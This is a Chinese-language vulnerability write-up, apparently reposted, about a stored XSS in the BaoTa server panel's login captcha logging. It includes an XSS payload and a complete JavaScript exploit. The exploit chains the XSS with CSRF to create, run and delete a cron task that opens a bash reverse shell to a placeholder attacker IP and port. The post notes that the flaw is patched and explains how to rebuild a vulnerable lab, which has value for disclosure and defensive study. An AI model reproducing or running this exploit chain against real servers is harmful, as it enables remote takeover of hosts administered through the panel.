[前言]
什么是宝塔面板?
宝塔面板是一款使用方便, 功能强大且终身免费的服务器管理软件, 支持 Linux 与 Windows 系统. 一键配置: LAMP/LNMP, 网站, 数据库, FTP,SSL, 通过 web 端轻松管理服务器. 推出至今备受中小站点站长喜爱, 下载量过百万.
[漏洞代码分析]
在 6.x Linux 版本宝塔面板当中当中, 相对与 5.x 版本, 记录了验证码错误并存入数据库当中, 存储 xss 缺陷就是在此处产生.
我们直接看漏洞代码.
直接分析 post 请求部分.
代码如下:
我们可以看到这里首先判断了是否有 用户名密码, 然后是验证码. 判断这个 IP 是否是有登陆失败的记录. 如果大于 1 记录一下, 随后将错误次数大于 1 的用户名的和密码都进行了记录.
从数据库中读取管理员账号密码. 进行对比. 如果没有成功就返回一个错误
关键的代码如下:
此处记录了一下 post 的请求. 然后将 code 传入到了写日志的一个函数里面. 追踪一下这个函数. 在 public.py 里面, 找到如下函数
这里就是一个写日志的功能. 定义了一个 teyp 然后是 args . 这里把 code 传递过来. 就直接写入了日志. 没有做任何过滤处理. 然后就导致了 xss 漏洞产生.
可以在宝塔数据库当中, 看到 logs 数据库里存储的信息
div class="fluidbox__ghost">
[漏洞复现]
我们直接在面板登录处, 随便输入一个账号密码, 触发失败, 要求输入验证码.
由于没有任何过滤处理, 我们直接输入弹窗的 payload:
<script>alert('www.dafsec.org')</script>
\\
登录后台后, 打开安全模块, 成功触发弹窗.
由于服务器管理面板的特殊性, 后台可以进行敏感操作. 手写 JS 远程调用, 利用 csrf 漏洞在计划任务处配合存储 xss, 可成功反弹 shell, 弹 shell 成功截图如下:
远程调用的 JS 代码如下:
- function addTask(TaskName, execTime, ip, port) {
- var execShell = 'bash -i>& /dev/tcp/your_ip/your_port 0>&1';
- execShell = encodeURIComponent(execShell);
- var params = 'name=' + TaskName + '&type=minute-n&where1=' + execTime + '&hour=&minute=&week=&sType=toShell&sBody=' + execShell + '&sName=&backupTo=localhost&save=&urladdress=undefined'
- var xhr = new XMLHttpRequest();
- xhr.open('POST', '/crontab?action=AddCrontab', false);
- xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
- xhr.send(params);
- }
- function execTask(TaskName) {
- var xhr = new XMLHttpRequest();
- xhr.open('POST', '/crontab?action=GetCrontab', true);
- xhr.send();
- xhr.onload = function () {
- if (this.readyState == 4 && this.status == 200) {
- var res = JSON.parse(this.responseText);
- if (res[0].name == TaskName) {
- var TaskID = res[0].id.toString();
- var xhr = new XMLHttpRequest();
- xhr.open('POST', '/crontab?action=StartTask', false);
- xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
- var params = 'id=' + TaskID;
- xhr.send(params);
- delTask(res[0].id);
- console.log(res[0].id);
- return res[0].id;
- }
- }
- }
- }
- function delTask(TaskID) {
- var params = 'id=' + TaskID.toString();
- var xhr = new XMLHttpRequest();
- xhr.open('POST', '/crontab?action=DelCrontab', false);
- xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
- xhr.send(params);
- }
- var TaskName = Math.random().toString(36).substring(7);
- addTask(TaskName, '5', '1.1.1.1', '53');
- execTask(TaskName);
[后序]
宝塔官方已修复该漏洞, 但仍有大量存在漏洞主机暴露于公网, 请及时更新至最新版本.
官方已修复该漏洞, 漏洞环境可以将附件当中的 test.py 同名覆盖掉宝塔最新版的 / www/server/panel/class/userlogin.py
来源: http://www.bubuko.com/infodetail-3304255.html